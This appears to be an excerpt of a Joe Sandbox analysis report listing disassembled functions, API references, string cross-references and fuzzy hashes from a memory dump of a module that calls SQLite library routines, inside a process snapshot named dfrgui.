Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free
String ID:
API String ID: 2313487548-0
Opcode ID: cc8bbecdeb9c1dfda9548ace6e0444fd38f1078339e74ce32c513f6c2a7c387e
Instruction ID: 71a55a7d616f880c6bdc8a4c5e389ca44c687151b43596882eee45a475f76756
Opcode Fuzzy Hash: cc8bbecdeb9c1dfda9548ace6e0444fd38f1078339e74ce32c513f6c2a7c387e
Instruction Fuzzy Hash: 33110074A08B458BCB00AF78D0C4518FBE4FF44365B928A9DDC8A8B315D774D890DF99

Function 61E34159 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 341COMMON

Download Yara Rule

Strings

true, xrefs: 61E341AD
false, xrefs: 61E341C5
null, xrefs: 61E341A1

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID: false$null$true
API String ID: 0-2913297407
Opcode ID: 4120854c961fb7a129c0cf75dd5ba554b5ab6f27949bfffe702a06dacc813c26
Instruction ID: 88350f93bf3a9fb15db359703092d7e21feef64f1403ccf99d6190b6fc08c256
Opcode Fuzzy Hash: 4120854c961fb7a129c0cf75dd5ba554b5ab6f27949bfffe702a06dacc813c26
Instruction Fuzzy Hash: D1C1B071E096A98BDB01CE98C48079DBBF2ABCA318F29C16BD9546B345C336D846CB51

Function 61E88595 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 264COMMON

Download Yara Rule

APIs

sqlite3_randomness.SQLITE3 ref: 61E885F1
sqlite3_malloc64.SQLITE3 ref: 61E88632
sqlite3_randomness.SQLITE3 ref: 61E8874B
sqlite3_free.SQLITE3 ref: 61E887C6
sqlite3_free.SQLITE3 ref: 61E887CE
sqlite3_mutex_enter.SQLITE3 ref: 61E88848
sqlite3_mutex_enter.SQLITE3 ref: 61E888F2
sqlite3_mutex_leave.SQLITE3 ref: 61E88934

Strings

;, xrefs: 61E88899

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_mutex_entersqlite3_randomness$sqlite3_malloc64sqlite3_mutex_leave
String ID: ;
API String ID: 1657278834-1661535913
Opcode ID: da8f91e732288bb094edf8c6fa72473f4e13678dfea5d0a6fcf4d30e0b11346a
Instruction ID: e9485de3ef44b4de5443cb2e0bde6b88a97942ad51845ad10af4ce7822b2a5d8
Opcode Fuzzy Hash: da8f91e732288bb094edf8c6fa72473f4e13678dfea5d0a6fcf4d30e0b11346a
Instruction Fuzzy Hash: 2DB16B75A0564ADBDB40CFA9C480B8DB7B1FF5A318F28C429EC58AB314D734E902DB51

Function 61E6FA85 Relevance: 15.1, APIs: 10, Instructions: 121COMMON

Download Yara Rule

APIs

sqlite3_malloc64.SQLITE3 ref: 61E6FAFC
sqlite3_exec.SQLITE3 ref: 61E6FB2F
sqlite3_free_table.SQLITE3 ref: 61E6FB49
sqlite3_free.SQLITE3 ref: 61E6FB5D
sqlite3_mprintf.SQLITE3 ref: 61E6FB70
sqlite3_free.SQLITE3 ref: 61E6FB7D
sqlite3_free.SQLITE3 ref: 61E6FB96

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

sqlite3_free_table.SQLITE3 ref: 61E6FBAB

Part of subcall function 61E09CDB: sqlite3_free.SQLITE3 ref: 61E09D09

sqlite3_realloc64.SQLITE3 ref: 61E6FBCF
sqlite3_free_table.SQLITE3 ref: 61E6FBE1

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_free_table$sqlite3_execsqlite3_malloc64sqlite3_mprintfsqlite3_mutex_entersqlite3_realloc64
String ID:
API String ID: 3621699333-0
Opcode ID: 70bfde23032c9f67013ddaa15e66df8ae087e201a6c813e2561866aa9b2799ad
Instruction ID: d430e169caf67b8e93c2c9b0565809fa1c2ecd18f5517dc9cb4555253bd7cbf9
Opcode Fuzzy Hash: 70bfde23032c9f67013ddaa15e66df8ae087e201a6c813e2561866aa9b2799ad
Instruction Fuzzy Hash: 605100B09056099BEB00CFA8D59479EBBF5BF88318F608429E895AB344D378E850CF95

Function 61E7600F Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

sqlite3_step.SQLITE3(?,?,?,?,?,?,?,00000004,?,?,61E7692F), ref: 61E7604E
sqlite3_finalize.SQLITE3 ref: 61E760CE
sqlite3_finalize.SQLITE3 ref: 61E7611D

Strings

real, xrefs: 61E76094
Va, xrefs: 61E760AF
null, xrefs: 61E76085, 61E7609E
integer, xrefs: 61E7608F

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_finalize$sqlite3_step
String ID: integer$null$real$Va
API String ID: 2395141310-835850008
Opcode ID: 8d9ff9554349cd1f3024cf3b67872253a96a84a6eed5d4daa054d94cf84d4310
Instruction ID: c8a8e15de50781a883045a0f55c18bb2bd389e4472d9bc1872f83eac2ac50a54
Opcode Fuzzy Hash: 8d9ff9554349cd1f3024cf3b67872253a96a84a6eed5d4daa054d94cf84d4310
Instruction Fuzzy Hash: D65101B0A047558FEB14CF68D48469ABBF0BF8D318F25C96DD848AB311D379E850CBA5

Function 61E19A0E Relevance: 13.9, APIs: 9, Instructions: 399COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E19C8F
sqlite3_free.SQLITE3 ref: 61E19D1D

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_malloc
String ID:
API String ID: 423083942-0
Opcode ID: 261b71166ed69a50286be0cddd90619f6acff6e56a19cdd3572a826c93999297
Instruction ID: 675ee7a6204c74379cd27fff28ebadf21069c5b3a07dc6fc6ec52d17617fdf7a
Opcode Fuzzy Hash: 261b71166ed69a50286be0cddd90619f6acff6e56a19cdd3572a826c93999297
Instruction Fuzzy Hash: 4D02E275A09209DFDB04CFA8D581A8EBBF1BF88314F25C559E815AB319D734E942CFA0

Function 61E256C5 Relevance: 13.8, APIs: 9, Instructions: 341COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E256E4
sqlite3_result_error_toobig.SQLITE3 ref: 61E257C5
sqlite3_result_error_nomem.SQLITE3 ref: 61E257EB
sqlite3_snprintf.SQLITE3 ref: 61E25A67
sqlite3_snprintf.SQLITE3 ref: 61E25A94
sqlite3_snprintf.SQLITE3 ref: 61E25A9E
sqlite3_snprintf.SQLITE3 ref: 61E25B04
sqlite3_result_text.SQLITE3 ref: 61E25C27

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_result_error_nomemsqlite3_result_error_toobigsqlite3_result_textsqlite3_value_text
String ID:
API String ID: 2444656285-0
Opcode ID: f04f9aef71e9eff02e44b8e7426ac61a8691330cc8e78df77641058fc7378fcd
Instruction ID: 9ef6f9eddbbc02a6ec4b07e097aa7ca18a29a01ea5a9b579db5fc7818d5df7c2
Opcode Fuzzy Hash: f04f9aef71e9eff02e44b8e7426ac61a8691330cc8e78df77641058fc7378fcd
Instruction Fuzzy Hash: 69E19D7498835ACFDB208F58C9907E9BBF0BF89314F65C4A9D89897348D734D9868F42

Function 61E24F57 Relevance: 13.6, APIs: 9, Instructions: 88COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E24F6A
sqlite3_value_bytes.SQLITE3 ref: 61E24F76
sqlite3_get_auxdata.SQLITE3 ref: 61E24F94
memcmp.MSVCRT ref: 61E24FB5
sqlite3_malloc.SQLITE3 ref: 61E24FD2
sqlite3_result_error_nomem.SQLITE3 ref: 61E24FE3
sqlite3_free.SQLITE3 ref: 61E25018
sqlite3_set_auxdata.SQLITE3 ref: 61E2503F
sqlite3_get_auxdata.SQLITE3 ref: 61E25052

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_get_auxdata$memcmpsqlite3_freesqlite3_mallocsqlite3_result_error_nomemsqlite3_set_auxdatasqlite3_value_bytessqlite3_value_text
String ID:
API String ID: 1733351873-0
Opcode ID: 10bf254599beba4073dd1f8b48ee65a0169f06aec4d883e0070ddc3dbd74e9da
Instruction ID: 70ce6709fe91db89897a7fcba20294cf9185aa11bef78e9a2bcbeb868b7654b3
Opcode Fuzzy Hash: 10bf254599beba4073dd1f8b48ee65a0169f06aec4d883e0070ddc3dbd74e9da
Instruction Fuzzy Hash: 4231DB70A047468BDB40DFB9C894A9EBBE4BF88344F20C92ED888D7305E739D851CB51

Function 61E89EE0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109filememoryCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 61E89F0B
vfprintf.MSVCRT ref: 61E89F27
abort.MSVCRT ref: 61E89F2C
VirtualQuery.KERNEL32 ref: 61E89FD0
VirtualProtect.KERNEL32 ref: 61E8A012

Strings

@, xrefs: 61E89FFB

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: Virtual$ProtectQueryabortfwritevfprintf
String ID: @
API String ID: 1503958624-2766056989
Opcode ID: 9d68efab7e9512ba469a8fb30240f339ffe0b6f471871ef1638d816100d8c958
Instruction ID: 4fc1d621848c9fe18acfed9e4674f1cd1c57fd3364abffd76f9fe15ab75e5f6f
Opcode Fuzzy Hash: 9d68efab7e9512ba469a8fb30240f339ffe0b6f471871ef1638d816100d8c958
Instruction Fuzzy Hash: 644158B1909B019FD780EF69C58461ABBF0FF85358F65C91DE89987390E334E884CB52

Function 61E34956 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E3496C
sqlite3_result_error_nomem.SQLITE3 ref: 61E34991
sqlite3_result_text.SQLITE3 ref: 61E349BE
sqlite3_result_text.SQLITE3 ref: 61E349E4
sqlite3_result_subtype.SQLITE3 ref: 61E349F4

Strings

,a, xrefs: 61E349D9
J, xrefs: 61E349EC

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_text$sqlite3_aggregate_contextsqlite3_result_error_nomemsqlite3_result_subtype
String ID: ,a$J
API String ID: 3250357221-507871578
Opcode ID: 2261931d02bc9a248e54d4f3bc1956d3623cd1f5bdea204b53e1ac6c3da67650
Instruction ID: 594cd01ad22c4ae82ab9a85ed11f6f25413904805aaf3d3475e2f5e04febf970
Opcode Fuzzy Hash: 2261931d02bc9a248e54d4f3bc1956d3623cd1f5bdea204b53e1ac6c3da67650
Instruction Fuzzy Hash: 36112EB05087919FD700AF69D08231ABFE4AF85718F24C94EE8D88B345D376C895CF96

Function 61E3481A Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E34830
sqlite3_result_error_nomem.SQLITE3 ref: 61E34853
sqlite3_result_text.SQLITE3 ref: 61E34880
sqlite3_result_text.SQLITE3 ref: 61E348A6
sqlite3_result_subtype.SQLITE3 ref: 61E348B6

Strings

J, xrefs: 61E348AE
)a, xrefs: 61E3489B

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_text$sqlite3_aggregate_contextsqlite3_result_error_nomemsqlite3_result_subtype
String ID: )a$J
API String ID: 3250357221-1453690686
Opcode ID: aec0737fff145ed480e74b2b321e617bc152f67cc82beb525c8cf723b6dbcb5d
Instruction ID: fab2bab5c6bd87eed0f0cf62028d8d4a4fc5f12c967af494d5cc56a24bef2959
Opcode Fuzzy Hash: aec0737fff145ed480e74b2b321e617bc152f67cc82beb525c8cf723b6dbcb5d
Instruction Fuzzy Hash: AA112AB05087909BD700AF68C08131ABFE4AF85718F24C94EF8988B385D376C855CB96

Function 61E5E2AC Relevance: 12.2, APIs: 8, Instructions: 215COMMON

Download Yara Rule

APIs

Part of subcall function 61E28FC6: sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E5DB29), ref: 61E2900A

sqlite3_mutex_enter.SQLITE3 ref: 61E5E2F5
sqlite3_prepare_v2.SQLITE3 ref: 61E5E333
sqlite3_step.SQLITE3 ref: 61E5E388
sqlite3_errmsg.SQLITE3 ref: 61E5E525

Part of subcall function 61E26168: sqlite3_log.SQLITE3 ref: 61E26191

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_log$sqlite3_errmsgsqlite3_mutex_entersqlite3_prepare_v2sqlite3_step
String ID:
API String ID: 154587148-0
Opcode ID: 70c9e801937e6109543b574a6ef30cc905413df6645566ce293aaeb4a9c8cd1b
Instruction ID: 457c603a61c59184ab784ef883cb228b515c0b83d7933c29fbf2e1ba9e487abb
Opcode Fuzzy Hash: 70c9e801937e6109543b574a6ef30cc905413df6645566ce293aaeb4a9c8cd1b
Instruction Fuzzy Hash: A1811C70E046598BDB54DFAAC48479EFBF1BF88308F24C429E864EB341D73AD8558B51

Function 61E249BB Relevance: 10.7, APIs: 7, Instructions: 177COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E249DF
sqlite3_value_bytes.SQLITE3 ref: 61E249F4
sqlite3_value_text.SQLITE3 ref: 61E24A0D
memcmp.MSVCRT ref: 61E24B06
memcmp.MSVCRT ref: 61E24B5B
sqlite3_free.SQLITE3 ref: 61E24B82
sqlite3_result_text.SQLITE3 ref: 61E24BA0

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmpsqlite3_value_text$sqlite3_freesqlite3_result_textsqlite3_value_bytes
String ID:
API String ID: 3386002893-0
Opcode ID: dfe5d681ee3ef6c9c6e6e82240f42d63f6d9a3ab3606b681649a1a6758154988
Instruction ID: 82808ba9451e93200953c8689875a353d65693c42d2cf5a126d43234f852b273
Opcode Fuzzy Hash: dfe5d681ee3ef6c9c6e6e82240f42d63f6d9a3ab3606b681649a1a6758154988
Instruction Fuzzy Hash: A5617CB1A046558FDB00CFA8C4A069DBBF1AF8D318F25C56ED895AB390E734D841CB95

Function 61E01040 Relevance: 10.6, APIs: 7, Instructions: 132sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,61E012DC), ref: 61E01077
_amsg_exit.MSVCRT ref: 61E010A4

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 57724e7b125b6214473e6facac02dbbc00c878a3b3032f833af74ff5c5f022ba
Instruction ID: 8792648bf9fcdaef9f16fbf28a568ebe056cb6ab70aa0df689dbe8083f43a6c6
Opcode Fuzzy Hash: 57724e7b125b6214473e6facac02dbbc00c878a3b3032f833af74ff5c5f022ba
